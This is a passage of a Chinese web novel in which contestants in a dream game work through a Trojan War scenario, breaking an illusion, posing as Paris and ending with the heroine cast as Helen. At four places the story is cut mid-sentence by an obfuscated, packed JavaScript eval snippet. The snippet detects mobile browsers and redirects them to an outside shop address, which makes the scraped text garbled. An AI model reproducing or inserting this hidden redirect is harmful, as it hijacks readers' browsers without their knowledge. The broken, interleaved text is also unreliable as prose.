南柯冷静地思考系统给出的两个选项。直白点说就是,要么直接死,要么变成神话里的NPC,永远也出不去。 她打开自己的个人面板看了看。在【道具库】那一栏,除了【徽章道具】、【线索道具】和【通用道具】三个原有的子单元之外,又多了一个子单元,叫做【本梦境限定道具】。 她点开新的子单元,里边现在有两个道具。一个是代表生命线的【命运之丝】,另一个,则是月亮之神阿尔忒弥斯送给她的【骨弓】。 她意念一动,【命运之丝】便出现在她掌心之上。她看了看那根银丝的长度,又回忆了自进入【特洛伊战争】以来的种种细节。然后,她谨慎地在两个选项之中做出了选择。 很快,她便再次陷入混沌之中。 —— 南柯重新醒来的时候,发现自己回到了酒神的庄园。她正躺在葡萄架下,身边,其他应试者横七竖八地躺了一地,她是第一个醒来的人。 南柯轻轻吐出一口气,赌对了。 在她之后,陈立阳、叶帆和秦萝陆续醒来。 叶帆晃了晃还有些晕眩的脑袋,茫然地看向周围:“这是怎么回事?我不是选了继续考验吗,怎么现在还活着?” 南柯简要回答:“之前我们经历的神殿,应该都是幻境。自从喝了酒神的酒,我们就没有从他的幻境中出去过。” 叶帆有些惊讶,“之前的一切都是假的?”明明那种撕裂般的疼痛感那么真实,而且系统确实做出“穿越梦境失败”的判定,这居然都是幻境吗? 陈立阳点头,从个人面板调出自己的【命运之丝】展示给叶帆:“生命线的长度没有变。” 秦萝反应过来:“终极任务中提到了‘生命线耗尽之前’,说明这个道具是个消耗品,长度肯定会随着任务的推进而发生变化。如果我们真的进入神殿,【命运之丝】应该缩短才对。” 其实,对于南柯来说,她还有一个判断依据。那就是,她本身拥有【幻梦冰晶】,这是个可以抵消一次致命伤害的被动道具。道具没有被发动,但系统却提示说她已经穿越失败,显然不太对劲。 不过,这件事她没有和众人说,只是补充:“而且,有一个点,我也是刚刚才想明白。叶帆曾经提过,‘命运’无法更改,命运三女神的权利在某种程度甚至要凌驾于宙斯之上。我们的生命线长度既然已经确定,在此之前,就应该不会死于意外。” 叶帆恍然大悟:“所以,一开始在时序三女神和命运三女神的考验中,我们违背规则会直接被杀死。但之后的月亮女神和酒神手段就温和很多,不会直接剥夺我们的生命,只是让我们陷入幻境,从而无法完成最终任务。” 秦萝:“也就是说,现在唯一能杀死我们的,就是让我们在截止时间前无法完成任务?” 叶帆若有所思:“这听起来倒是比较合理。毕竟,在一个神话背景中,我们以人类的身份和神对抗还是太弱了,就像之前在幻境中对上赫拉,完全没有反抗的余地。” 南柯却不太乐观:“梦境给我们提供这种作弊一样的优势,说明后边的任务难度一定不小。走一步看一步吧。” 秦萝看了看周围还在沉睡的四个人,有些担忧:“他们怎么还没醒过来,再不醒来,是不是真的要死在这里了?” 说话间,一旁的林易悠悠转醒。他警惕地朝周围看了一圈,直到确定南柯几个人都活着,才终于松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626372|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气。他问:“你们都选了继续【造梦空间】的考验?” 叶帆点点头,将他们刚刚的推测简单说了一遍。他摸摸鼻子:“其实我之前没想到那么多,只是感觉,永远困在神话世界里,比死都可怕,还不如死了算了。” 秦萝心有余悸地拍了拍胸口:“我也是。想不到,误打误撞,又逃过一劫。” 话音刚落,一个英俊的青年端着盛了葡萄酒的玻璃杯从葡萄架后信步走出来,是酒神。 他有些遗憾地看着醒来的五个人:“想不到,只有三位宾客愿意留在我的庄园做客。” 叶帆眉头微皱:“他们三个不会再醒来了吗?” 酒神耸耸肩:“他们已经做出抉择,会永远留在奥林匹斯山上。” 留在梦境之中代表的是什么,南柯等人再清楚不过。 其实,这种情况也不难理解。赵磊是在幻境中激怒赫拉的人,死亡的感觉对他来说一定最为真实,慌乱之中,他根本来不及思考这究竟是不是幻境。而周正胆小怯懦,比起直接去死,可能更倾向于选择暂时活下来。李悦的话,则是因为自己的生命线最短,一直抱有悲观的情绪,这种情绪放大了她对死亡的恐惧,潜移默化中诱导她做出致命的选择。 这些应试者虽然是和南柯等人一起进入梦境的,但彼此之间其实并不相熟。对于他们的死亡,南柯很难产生悲伤的情绪,但好歹都是活生生的人,她还是不禁唏嘘,在梦境中,人的生命就如同草芥一样。 短暂的沉默后,南柯打起精神:“之前,阿尔忒弥斯说过,我们距离神殿或许不远,或许很远。现在看来,这句话指得应该就是酒神这一关。” 林易:“怎么说?” 陈立阳接过话来:“‘不远’是因为,和幻境中一样,我们走出酒神的庄园,下一站或许就是神殿。‘很远’是因为,如果被困在幻境之中,我们就永远无法到达神殿了。” 南柯看向酒神,直接把他当做已经被通关的NPC:“请问,幻境里发生的事情是按照真实逻辑模拟的吗?” 酒神神色骄傲:“当然。我的酒可以模拟最高级别的幻境,给宾客带来最逼真的体验~” 南柯根据他的话得出结论:“所以,如果按照之前的方案,虽然我们不会被杀死,但也无法达成阻止特洛伊战争的任务。” 陈立阳进行补充:“而且,不会死不代表不会消耗生命线。” 南柯想到了她道具系统中的【骨弓】。 梦境不会无的放矢地送给应试者道具,就像之前【细胞工厂】中爆出的每一个梦境限定道具,都和最后的破局息息相关。 现在,【时序之发钗】的拥有者已经出局,【骨弓】就是他们仅剩的道具,也势必是破局的关键。 南柯回忆了一遍幻境中的神殿。阻止特洛伊战争的话……追溯到根源,她已经想好第一枚月矢应该射向哪里。 28. 特洛伊战争(九) 南柯等人再次踏上去神殿的道路。果然,走出酒神的庄园没多久,恢弘的神殿再次出现在众人眼前,和之前在幻境中样子的分毫不差。与此同时,系统也发布了终极任务,仍然是“在生命线耗尽之前阻止特洛伊战争”,只是,他们已经由一开始的八个人变成了现在的五个人。 走向神殿的路上,南柯和众人商量:“等下到了神殿,你们按照之前在幻境中的方案和宙斯周旋,尽量分散他的注意力。” 叶帆已经看出南柯的想法,他有些犹豫:“这样会不会有危险?” 南柯摇头,手掌一翻,命运之丝悬浮于手上:“既然我们已经知道生命线消耗完之前不会有性命危险,那必要的冒险还是需要的,不然永远找不到破局的方法。” 当前也没有更好的办法,众人只能用实践进行尝试。于是,一刻钟后,他们五人再次出现在神殿之上。 和幻境中一样,三位女神已经展开争论,而宙斯则端坐于主座之上,随意把玩着作为祸源的金苹果。 按照之前的剧本,陈立阳再次提出建议:“我们几人来自人间,都是第一次见到几位女神。不如,就由我们几个进行投票,得票最高的女神当选为‘最美女神’,您觉得怎么样?” 宙斯陷入思考,似乎在想这个方法的可行性。陈立阳与南柯对视一眼:“姐姐,现在!” 心念一转,骨弓瞬间出现在南柯的手掌之上。 阿尔忒弥斯曾经说过,骨弓上已经存了三枚月矢,拉弓即可成箭。南柯没有任何犹豫,用力拉动弓弦。月光凝成的箭矢果然瞬间出现在弓弦之上,随着她放手的动作激射而出,直指宙斯手中的金苹果。 月矢的速度堪比月光,几乎射出的下一秒就射在了金苹果上。 在众人和众神惊诧的目光中,空气中传来类似于玻璃破碎的声音,裂痕瞬间布满整个金苹果表面。 下一刻,时空突然凝固。南柯感觉眼前的一切突然变得十分虚幻,神殿和众神的色彩都在缓慢褪去,最终变成黑白。 当周围的一切完全失去色彩的时候,南柯只觉得眼前一阵天旋地转。她不禁闭上眼睛抵御突如其来的晕眩。 等周围的一切都归于平静,再睁开眼睛时,南柯惊诧地发现,她回到了最初进入这个梦境的时候——眼前,是种满五颜六色鲜花的巨大花园。 南柯第一时间看向四周。此时,和她一起的四个人都分散在不远处。大家意识到周围是什么场景后,不约而同地聚集到中间的位置。 叶帆:“怎么回事?我们又回来了?” 秦萝取出自己的命运之丝,观察了一下长度。片刻,她惊讶道:“快看,命运之丝的长度变了,缩短了大概……三分之一!” 众人纷纷取出自己的生命之丝,得出了和秦萝一样的结论,几乎每个人的生命线都消耗了三分之一。 叶帆有些疑惑:“我们这算是成功了还是没成功?” 南柯冷静分析:“如果成功的话,系统会有提示,我们应该会直接通关。现在回到这里,说明肯定还没有完成任务。” 说着,她想到什么,手腕一翻,一张油画出现在她的手掌之上,正是她进入这个梦境前得到的线索。 她简短向众人解释了这个道具的来源。初筛梦境可以获得道具的事实众人都知道,因此并没有过多质疑。 此时,油画左侧的四分之一,也就是讲述“金苹果之争”的那部分内容,已经由一开始的彩色变成黑白色。 南柯盯着突兀的黑白部分,合理猜测:“或许,‘阻止特洛伊战争’这个任务,本身就有多个部分。她指了指油画上的前三个部分,我们可能要在这三个场景中同时做出干扰,才能达成最终的任务。” 陈立阳:“所以,现在我们已经完成第一个部分了?” 南柯:“从线索提示来看是这样。”她想了想,“现在只能用实际行动来进行验证了。”她看了看周围无边无际的花海:“先往前走走吧,看看是否还会遇到时序三女神,再做打算。” 众人没什么异议,沿着通往山上的小径向前走。不多时,熟悉的金色大门再次出现在眼前。 等他们接近大门的时候,大门自动向两侧打开,露出门后的情形——三个身穿不同颜色衣裙的女孩正在手拉手圈成一个圈快乐地舞蹈,正是时序三女神,和他们第一次见到的时候一模一样,分毫不差。 打过招呼后,蓝裙少女果然再次提出了让众人给三姐妹送花的要求。只是,这次可能因为人数减少,她并没有再提出奖励的事情。 虽然众人已经掌握了送花的规律,不会遭遇生命危险,但他们的脸色却并不轻松。 秦萝说出大家心里的担忧:“我们现在又回到了最初的场景。如果之后我们经历的事情仍然重复的话,就算可以顺利通关,那最终也还是只能到达神殿,怎样才能到达油画上的后面两个场景呢?” 已知每次进入神殿场景都会消耗三分之一的生命之丝,而且,经历神殿之后,他们并不会自动过渡到后边两个场景。如果想不到解决之法,他们就会被这种循环困死在这里。 “一定有什么细节是我们之前没注意到的……”南柯仔细回想他们进入梦境后的所见所闻。 金色大门……三个跳舞的少女…… 南柯心头一动。 时序三女神刚刚出现在他们眼前的时候,正在跳舞,而她们的动作,是……围成一个圈。 “是时间循环!” “可能是循环!” 在南柯开口的同一时间,陈立阳显然也想到什么。 他和南柯对视一眼,解释道:“之前一直觉得这三个少女跳舞的动作有些奇怪,刚刚我突然想起,我好像看到过一副和这个场景很类似的画。 十九世纪九十年代,一个意大利画家根据希腊神话中的时序女神画了一幅名为《时光之舞》的画。里边将时序三女神的数量拓展成十二位,用于代指更加具体的时间和时节。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640436|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那幅画中,这十二位女神正好围绕着一个圆圈起舞,代表着时间的周而复始和季节的不断循环。” 他顿了顿,继续道:“所以,春、夏、秋是正确的顺序,秋、春、夏其实也是正确的顺序。” 林易疑惑:“那和我们现在的情景有什么关系?” 南柯:“还记得我们第一次给时序三女神送花的时候是什么顺序吗?” 秦萝短暂回忆:“我记得是先送给绿裙少女,然后是红裙少女,最后是蓝裙少女!” 叶帆补充:“是春、夏、秋的顺序。” 陈立阳点头:“我们以春为起始点给三女神送花,所以我们进入的场景是第一个‘金苹果之争’的场景。” 叶帆眼前一亮:“所以,如果我们这次更换送花的顺序,改成夏、秋、春,就有可能进入第二个场景。类似地,如果先从秋之女神开始送起,就会进入第三个场景?” 南柯:“从目前的情景来看,可能性很大。除此之外,目前也没有其他线索指向后面两个场景了。” 林易有些犹豫:“从之前的经历来看,时序三女神对于有关‘顺序’的规则十分严苛,万一送错了顺序判定违规怎么办?” 南柯淡淡道:“如果你怕的话,可以最后再进行尝试。” 说着,她便率先去花园里摘花,陈立阳等人也紧随其后。林易轻咳一声,没再发表意见,谨慎地排在最后。 有了之前的经验,五个人很快都采好了对应三个季节的鲜花。就在南柯要将手中的向日葵送给红裙少女的时候,一只骨节分明的手拉住了她的手腕。 陈立阳朝她眨眨眼:“姐姐,我先来吧。” 南柯有些犹豫。虽然她对这个猜测有百分之九十的把握,但仍有百分之十的危险来源于未知。 然而,还不等她拒绝,陈立阳便率先将自己手里的夏花递给红裙少女。紧随其后,他又分别将秋天和春天盛开的花递给蓝裙少女和绿裙少女。做完这一切,他俏皮地冲南柯眨眨眼。 南柯无暇回应他,紧张地盯着三个少女的反应。 好在,收到花之后,三个少女对视一眼,异口同声道:“我喜欢这株花~” 南柯悬着的心终于落到肚子里。 她表情复杂地看向陈立阳,想说点什么,但对上少年含笑的眼睛,又觉得说什么都有些多余,索性什么都不说,只是在心里又记了一笔。 经过陈立阳的试验,剩下四个人以同样的顺序将花分别送给三位女神。 在林易送完最后一株花后,众人紧张地等待时序三女神的反应。 不多时,身穿红裙的夏之女神作为代表宣布:“谢谢你们的花,欢迎你们进入……特洛伊的牧场!” 南柯清晰地记得,上一次,是身穿绿裙的春之女神作为代表宣布,她说的是“欢迎你们进入奥林匹斯山”,而这一次,则变成了“特洛伊的牧场”。 果然,场景切换的秘密,就藏在时序三女神的花里面! 29. 特洛伊战争(十) 场景切换,众人视野中大片的花海渐渐褪去,眼前的场景变成了一望无际的连绵草原。 草原上零星散落着几只正在吃草的白羊,不远处,一个穿着米白色长袍的少年正叼着一支草棍儿悠闲地躺在草地上。 南柯扫视四周,方圆百米之内再没其他人。她轻声道:“这就是特洛伊王子?” 秦萝有些不解:“堂堂王子,怎么会在这里牧羊?” 叶帆接过话来:“相传特洛伊的王后生下王子前做过一个梦,梦到她生下一支火炬,这支火炬焚毁了整个特洛伊。预言家解梦说,这代表这个王子未来会给特洛伊带来灾难。所以,王子帕里斯被抛弃到山上,被一个牧羊人收养长大。” 秦萝:“那看来是没错了。现在的问题是,我们怎么阻止帕里斯选中阿芙洛狄忒?三位女神还没来,我们还有一些时间。” 林易想了想:“要不像之前一样,用骨弓直接射杀帕里斯?如果王子死了,那这场最美女神的评比自然不会祸及特洛伊。” 陈立阳摇摇头:“之前金苹果是祸源,所以射击金苹果没有产生什么消极后果。但特洛伊王子并没有过错,直接抹杀任务的关键人物,可能会有风险。” 他刚刚说完,周围突然响起只有应试者可以听到的系统提示音:“温馨提示,在本梦境中,不可以杀死和任务直接相关的人物。否则,将视为梦境穿越失败。” 叶帆愣了愣:“这……也太黑了吧,居然还有隐藏规则?” 秦萝也有些傻眼:“如果刚刚我们真的杀了这个王子,岂不是直接结束了?” 南柯看了陈立阳一眼:“看来,有些规则是只有我们发现后系统才会公布的,大家小心。” 不能使用武力,任务的完成显然要上升一个难度等级。南柯隔着一段距离观察帕里斯,片刻,她看了看帕里斯白金色的短发,又看了看陈立阳,突然福至心灵。 她提议:“或许,我们可以找一个人假扮帕里斯。” “假扮?” 众人跟随着她的视线,目光纷纷落到陈立阳身上。 陈立阳轻咳一声:“我和帕里斯……长得也不是很像呀。” 南柯:“既然帕里斯从小由牧羊人收养长大,远在神山的众神可能根本没有见过他。只要让三个女神相信你是帕里斯就可以了。” 秦萝在陈立阳身上打量片刻:“从衣着和头发的颜色来看,确实有点儿像。而且,杨黎晨的气质……还真别说,挺像个王子的。” 杨黎晨……南柯反应了几秒钟,才想起来这是陈立阳的化名。 众人的意见十分统一,陈立阳也没有更好的办法,只能被赶鸭子上架:“那好吧。但是,真正的王子怎么办,我不能和他同时出现。” 南柯笑了笑:“这个交给我。” 她信步朝帕里斯走过去。众人只看到,在帕里斯起身的一瞬间,她飞快抬手,一记手刀砍在后者的脖颈上,帕里斯的身体便直接软下去,干脆利落。 草地连绵起伏,南柯将帕里斯安置在一处地势较低的谷地中,正好被及膝的野草遮蔽。她看向陈立阳:“大概能维持半小时时间,尽快。” 陈立阳无奈地点点头:“你就这么相信我?” 南柯笑了笑:“放心吧,不会让你死。” 陈立阳怔了怔。 “放心吧,不会让你死的——” 他仿佛穿越了时间的长河回到了很久远的过去,在某个时刻,有个女孩子和他说过一模一样的话。 他唇角漾起一个很浅的弧度,许久,才轻声道:“我知道。” —— 几分钟后,天边突然飘来一片巨大的金色云朵。很快,云朵缓慢下移,最终降落在众人面前。云朵上,正是他们不久前才见过的三位女神,赫拉、雅典娜和阿芙洛狄忒。 南柯看向赫拉的右臂。此时,她右臂上被时序之发钗刺伤的伤口消失不见,光洁的皮肤完好无损。 果然,不同的场景彼此独立,并不联通。 赫拉的目光在众人身上扫视而过。她冷声问:“你们……谁是帕里斯?” 陈立阳从人群中走出来。相比于刚刚被众人推举时的不好意思,他现在看起来完全没有表演痕迹,表情自然得仿佛他就是帕里斯本人。 赫拉正要进入正题,智慧之神雅典娜阻止了她:“他说他是帕里斯就是了吗?我们必须先证实他的身份!” 南柯目光微凝,她就知道没这么简单。 阿芙洛狄忒表示认同:“有道理。但我们谁也没见过帕里斯,怎么证实?” 雅典娜想了想:“听说,帕里斯以公平和无私而闻名,这也是宙斯让我们来找他裁决的原因。不如,我们出几个问题考考他,看他是否真的像传闻中一样能做到公平公正。” 赫拉没有在这种事上和雅典娜争论:“好,那就由你来出题!” 雅典娜看向陈立阳:“你愿意接受我的考验吗?” 虽然是问句,当然也没有拒绝的余地。陈立阳点点头:“当然,尊贵的智慧女神。” 雅典娜满意道:“很好。”雅典娜想了想,“那么,第一个问题。如果一块蛋糕要两个人分食,用怎样的方法切分才能保证公平性?” 南柯松一口气。听起来是个很简单的问题。 果然,陈立阳几乎没怎么思考,从容回答:“让其中一个人负责切分,但让另一个人先进行挑选。” 这个问题的表层陷阱就在于不管由谁来切分,都会倾向于给自己切更大的蛋糕。但如果切分后由对方先进行选择,切分的人就会尽量将蛋糕切成大小相同的两块。 雅典娜点头表示肯定:“那么接下来,第二个问题。一辆电车在轨道上滑行,轨道前方有五个正在玩耍的小孩,而旁边废弃的轨道上有一个正在玩耍的小孩。你面前有一个扳手,拉动扳手,电车即可从正确的轨道变道到废弃的轨道上。如果不变道,五个小孩会死。如果变道,废弃轨道上的一个小孩会死。你会怎么选择?” 听了这个问题,南柯不禁皱了皱眉。 “电车难题”是个很经典的哲学问题,她皱眉不是因为这个问题很难,而是因为这个问题非常主观,并没有一个客观正确的答案。这就意味着不论怎么回答都可能被抓到漏洞。 陈立阳显然也意识到题目中的陷阱,他顿了几秒钟。再抬头时,他的表情已经重新变得从容。他沉声道:“我不会拉动扳手。” 雅典娜饶有意味:“哦?你觉得那一个孩子的生命比五个孩子的生命更加宝贵?” 陈立阳摇摇头:“生命的价值无法用数量的多少来衡量。一个孩子还是五个孩子,生命都同样宝贵。我做出这个选择,是出于对基本秩序的尊重。那个在废弃铁轨上玩耍的孩子并没有违背交通秩序,我无权通过拉动扳手来剥夺他的生命。” 他着重强调了两次“秩序”。听了他的回答,雅典娜满意地点了点头,朝赫拉和阿芙洛狄忒道:“我想,他确实是可以做出公平判断的特洛伊王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648948|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子帕里斯。” 叶帆在一边悄悄道:“他的回答可能正好契合雅典娜的心意。在神话中,雅典娜是‘法庭和仲裁’的保护神,对法律和秩序极为推崇。” 南柯赞赏地看向叶帆:“你对这些神话故事的了解程度真得很高。” 叶帆挠挠头:“我是写小说的嘛,平时经常从这些故事中寻找灵感,国内外的很多神话、传说、志怪故事我都有了解,下次如果你们要进入【神话】类的梦境,可以找我一起组队。” 南柯没客气:“好。” 秦萝双手做出捧心状:“大佬们求带。” 叶帆有些不好意思:“也没那么厉害,只是对背景了解的多一些。还是南一和杨黎晨更厉害,总是能找到破局的关键线索。” 南柯:“大家各有所长,我们有机会再组队。” 另一边,陈立阳已经被要求在三个女神中做出选择。 在特洛伊战争中,帕里斯选择了阿芙洛狄忒,为了避免出现意外,陈立阳决定避开这个选项,在赫拉和雅典娜之间斟酌。 在他做出选择之前,骨弓已经出现在南柯的右手中。 叶帆:“要动手吗?” 南柯:“只是以防万一。” 秦萝有些紧张:“规则不是说不能杀死关键人物吗?” 南柯神色不变:“在酒神的幻境中,赫拉因为没有被选中而对赵磊出手,我不希望杨……黎晨出现什么意外。”这个名字还怪拗口的。 叶帆的目光在南柯和陈立阳之间扫了两圈。这两个人,萍水相逢的话……感情还怪好的。 几秒种后,在紧张的氛围中,陈立阳终于做出选择。他语气不卑不亢:“财富和权力很好,但我生性散漫,没有继承王位的宏图大志;爱情的确让人神往,但我心中已经有很喜欢的人,全世界最美丽的女人也无法与她相比。相比之下,我更愿意拥有无上的智慧,让我可以从容地过完一生。”他看向三位女神,“所以,我的选择是,智慧之神,雅典娜!” 雅典娜脸上露出满意的神情,而赫拉则是满脸愤恨,她右手隐隐积聚起红色的神力,看向陈立阳的怨恨目光宛若实质。 南柯握紧手上的骨弓。 好在,她担心的事并没有发生。在陈立阳做出选择的几秒钟后,整个场景从远处开始逐渐褪色变成黑白,正如第一次在神殿中一样。 熟悉的变化让众人都松了一口气,天旋地转的感觉随之传来。再睁开眼时,众人不出意外地再次回到了最初的花园里。 南柯第一时间取出作为【特洛伊战争】线索的油画。油画上,讲述“帕里斯的决断”的部分已经变成黑白色。而众人的生命之丝再次消耗了三分之一,只剩下最后的三分之一。 秦萝拍了拍胸脯:“好险,差点儿以为赫拉要向上次一样发起攻击了。” 陈立阳笑了笑:“不必担心。在原本的希腊神话中,帕里斯选择了阿芙洛狄忒,赫拉同样生气,但却并没有伤害他。帕里斯是宙斯选中的人,代表着绝对公平,即使是赫拉,也不能违背这个结果。” 叶帆看着他,有些疑惑:“不过,话又说回来,你刚刚说的话是真的吗?你看着小小年纪,就有喜欢的人了?” 陈立阳的目光不经意地看向南柯。此时,她正在研究油画上的最后一部分内容,完全没有关注到这边。 他想到刚刚他做出回答的时候她已经微微抬起的骨弓,轻声道:“是啊,喜欢她很久了。可惜,她却什么都不记得了。” 30. 特洛伊战争(十一) 众人没急着通过时序三女神直接进入最后一个场景。 南柯拿着油画走过来,言简意赅:“我们商量一下最后一个场景怎么通过。” 油画的内容很简洁,阿芙洛狄忒立在一朵金色的云上悬浮于空中,下方的地面上,帕里斯拉着海伦的手跑向大海,海边是一艘小帆船,他们身后是乌泱泱的斯巴达追兵。 秦萝提出想法:“能不能仿照上一个场景,我们假扮帕里斯或者海伦,从而改变故事的结局?” 陈立阳摇了摇头:“上个场景发生的事没有神力干涉,在这个场景中,海伦和帕里斯是因为受了阿芙洛狄忒的蛊惑才会一起私奔。如果我们假扮成这两个人物,很有可能本身也会受到神力的干扰,更严重一些的话,会被直接留在这个梦境之中。” 叶帆想了想:“那试试分别阻止这两个人呢?只要有一个人放弃,是不是就算阻止成功了?” 南柯点点头:“如果我们被传送到两个人见面之前的场景,可以分头行动,找机会尝试一下。” 陈立阳举手:“那我和南一姐一组,如果情况合适,我们去找海伦。” 叶帆没什么意见,他看向秦萝和林易:“那我们三个人一组。”不过,他想的更多一些,“他们见面之前,海伦很有可能在皇宫里,守卫森严,你们两一定要格外小心。” 陈立阳笑了笑:“放心吧,南一姐很厉害的。” 南柯:“……” —— 由于不知道第三个场景的具体细节,众人暂时难以做出更精确的部署,决定走一步看一步。 在去找时序三女神之前,叶帆突然想起一件事:“忘记说了,我在【造梦空间】中的id是‘千帆过尽’,我现实世界中的笔名。如果顺利完成任务,我们可以添加好友,下次有机会一起组队。” 秦萝接着道:“我的id是青萝。” 林易:“我的id是英文字母Pro.Lin”。 众人都很坦诚,南柯也没隐瞒,“我是Nancy”。 陈立阳笑了笑:“我是Charles”。 南柯有些诧异地看了他一眼。她的id是在【细胞工厂】中随口说的名字,只是懒得起名了,想不到,陈立阳也用了那时的化名。 陈立阳没解释,很隐晦地朝南柯眨了眨眼睛。 互相记下id后,按照之前的经验,众人再次来到金色大门前,以秋、春、夏三个季节的顺序给时序三女神赠送鲜花。 五个人都顺利送完花后,代表秋季的蓝裙少女果然站出来宣布了他们接下来要进入的地点:“欢迎你们进入……” 话说到这里却突然卡壳。 南柯等人警惕地等待着她的下文,然而,提示音始终没有再出现。周围的雾气逐渐围拢上来,时序三女神的身形渐渐模糊,最终完全被雾气所笼罩。 南柯感觉视线完全被黑暗所吞噬,她抬起手做出防御的动作。然而,她并没有遭受到意料之外的攻击。 等黑暗散去,视线再次清晰时候,她发现,周围的伙伴已经消失不见。而她此时正端坐在一个梳妆镜前,镜中人有着和她一模一样的样貌,只是头发盘成精致的发髻,头顶戴着一个华贵的金色发冠。 身后传来恭敬的年轻女声:“王后,奥林匹斯山来了贵客,王上请您代为接待。” 王后…… 南柯皱着眉回头。她所处的是一个华丽富贵的房间,房间面积很大,里面的一应陈设多为水晶和金银,奢靡非常。她身后,一个身形曼妙的侍女手上捧着如烟如雾的大红色软罗披风,垂眼恭敬地等待着她的回应。 这是怎么一回事?这一次,她甚至没有主动假扮海伦,就已经成为海伦了吗? 正疑惑,脑中响起熟悉的机械女声:“尊敬的应试者,您好。检测到附加任务已开启。您现在的身份是斯巴达国的王后海伦。附加任务:与特洛伊王子帕里斯共同逃离斯巴达护卫队的封锁。若附加任务失败,则同样视为梦境穿越失败。祝您一切顺利。” 南柯:“……” 他们本来还想着分头劝说帕里斯和海伦,现在好了,之前的假想全部被推翻,一切都要重新开始想破局之法。 南柯稍稍稳定心神,尽量以自然的语气对身后的侍女道:“你先出去等着,我稍后就来。” 侍女没怀疑,恭敬地行礼退出房间。 南柯沉下心来,整理了一下当前的信息。系统提示这是一个附加任务,说明【特洛伊战争】这个梦境本身是不涉及到角色扮演的。那么是什么触发了附加任务? 南柯将他们通过前两个场景的情形复盘了一遍。如果说有什么比较特殊的地方,那就是……在第二个场景中,陈立阳扮演了帕里斯。 如果是因为这个,那就勉强说得通了——外来者通过假扮神话人物改变了神话故事的发展,所以他们的最后一关要继续以改变后的人物将剧情走下去。 照这个想法,附加任务中提到的帕里斯,很有可能就是作为应试者的陈立阳。 南柯的大脑紧急运转起来。她现在面临两个难题—— 其一,附加任务是“与帕里斯共同逃离斯巴达护卫队的封锁”,这个任务的结果从从表面上看正好和这个梦境的最终任务“阻止特洛伊战争”相悖。两个相互冲突的任务,无法完成任何一个都要死。 其二,如果她和陈立阳分别变成了海伦和帕里斯,那同为应试者的叶帆三人势必也成为了这个神话故事中的某个角色。按照她对【造梦空间】的了解,如果她没猜错,叶帆三人中至少有一个人是属于“斯巴达护卫队”的阵营。她的任务是逃离封锁,那另一个阵营的任务……十有八九就是阻止他们逃离。 自身的任务相互冲突,与同伴的任务相互冲突,两个都是棘手的难题。 但现在,南柯没有时间细想。她垂眼看了看自己身上象征王后身份的金色裙装……太碍事了。 趁着侍女不在,南柯找到王后的衣橱,在其中挑挑拣拣,终于翻出一件短衫和一件裤子。裤子是十分宽松的灯笼裤,随意放在角落里,应该从未被主人穿过。虽然也没有非常利索,但动起手来总比裙子要好很多。 她飞快脱下宫裙,将短衫和裤子穿在里面,然后将原先的裙装套在外面。好在裙摆宽大,从外边看完全无法察觉异样。 做完这一切,南柯推门走出房间,侍女已经在门口等候多时,恭敬地将披风披在她身上。 南柯看她一眼:“贵客在哪里?带路吧。” —— 侍女带着南柯穿越长廊,走到一个金碧辉煌的会客厅。大厅主座上,阿芙洛狄忒正懒懒品着侍女送上的葡萄酒。她身后,站着一个俊美的少年。南柯和少年四目相对……果然,那不是陈立阳还能是谁。 她走进大厅,很自然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671908|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏退了侍女。阿芙洛狄忒起身朝她走过来,身后的少年紧随其后。 南柯知道这里不是关键剧情,懒得和阿芙洛狄忒寒暄。不过,这位爱与美之神倒是兴致高昂。她回头看向陈立阳:“怎么样,我没骗你吧?” 陈立阳目光含情地看向南柯,语气真诚:“果真是全世界最美丽的女人。” 南柯嗔他一眼:倒也不用这么入戏。 还没来得及开口,阿芙洛狄忒便素手一挥。霎那间,一股粉色的神力分别注入南柯和陈立阳的身体。和赫拉红色神力的攻击性不同,这股粉色的神力温暖柔和,并未对身体造成任何不适,但南柯心里却猛地一咯噔—— 她想起之前陈立阳说过帕里斯和海伦因受阿芙洛狄忒的神力蛊惑而相爱,那她和陈立阳…… 冷静逐渐被一种更加原始的冲动所取代。 